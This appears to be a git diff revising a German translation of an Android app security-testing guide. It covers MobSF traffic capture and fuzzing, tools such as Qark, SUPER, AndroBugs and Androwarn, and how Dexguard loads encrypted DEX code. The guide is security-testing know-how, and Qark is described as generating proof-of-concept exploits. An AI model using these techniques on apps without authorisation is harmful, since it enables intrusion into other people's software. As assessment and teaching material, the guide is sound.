Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie auf "**Send to Fuzzer**" --> _wählen Sie die Proxy-Adresse_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Wenn der HTTP-Verkehr erfasst wird, können Sie eine unschöne Ansicht des erfassten Verkehrs im "**HTTP(S) Traffic**" unten oder eine schönere Ansicht im grünen Button "**Start HTTPTools**" sehen. Von der zweiten Option aus können Sie die **erfassten Anfragen** an **Proxys** wie Burp oder Owasp ZAP **senden**.\
|
||||
Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPTools die Anfrage auswählen_ --> drücken Sie auf "**Send to Fuzzer**" --> _Proxy-Adresse auswählen_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" drücken, um **HTTP-Anfragen zu fuzzern** und nach Schwachstellen zu suchen.
|
||||
|
||||
> [!TIP]
|
||||
> Nach der Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein, und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen beheben, indem Sie Folgendes tun:
|
||||
> Nach der Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein, und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen beheben, indem Sie:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -595,7 +599,7 @@ Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf
|
||||
|
||||
### Unterstützte dynamische Analyse mit Inspeckage
|
||||
|
||||
Sie können das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) erhalten.\
|
||||
Sie können das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) beziehen.\
|
||||
Dieses Tool verwendet einige **Hooks**, um Ihnen mitzuteilen, **was in der Anwendung passiert**, während Sie eine **dynamische Analyse** durchführen.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
@ -606,7 +610,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Dieses Tool ist dafür ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" deploybares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
|
||||
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -628,7 +632,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
|
||||
|
||||
Alle Regeln sind in einer `rules.json`-Datei zentralisiert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
|
||||
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um das zu analysieren, was sie benötigen.
|
||||
|
||||
Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
|
||||
```
|
||||
@ -656,9 +660,9 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer über potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und zu warnen.
|
||||
**Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen.
|
||||
|
||||
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
|
||||
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, der als **Smali** dargestellt wird, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
|
||||
|
||||
Dieses Tool sucht nach **häufigen Verhaltensweisen von "schlechten" Anwendungen** wie: Exfiltration von Telefondaten, Abfangen von Audio-/Video-Streams, Modifikation von PIM-Daten, Ausführung beliebigen Codes...
|
||||
```
|
||||
@ -699,11 +703,11 @@ Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK in [htt
|
||||
|
||||
(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus:
|
||||
|
||||
- Laden Sie eine Ressource als InputStream;
|
||||
- Füttern Sie das Ergebnis einer Klasse, die von FilterInputStream erbt, um es zu entschlüsseln;
|
||||
- Machen Sie einige nutzlose Obfuskationen, um ein paar Minuten Zeit eines Rückführers zu verschwenden;
|
||||
- Füttern Sie das entschlüsselte Ergebnis an einen ZipInputStream, um eine DEX-Datei zu erhalten;
|
||||
- Laden Sie schließlich die resultierende DEX als Ressource mit der Methode `loadDex`.
|
||||
- eine Ressource als InputStream laden;
|
||||
- das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln;
|
||||
- einige nutzlose Obfuskation durchführen, um ein paar Minuten Zeit eines Rückführers zu verschwenden;
|
||||
- das entschlüsselte Ergebnis an einen ZipInputStream weitergeben, um eine DEX-Datei zu erhalten;
|
||||
- schließlich die resultierende DEX als Ressource mit der Methode `loadDex` laden.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user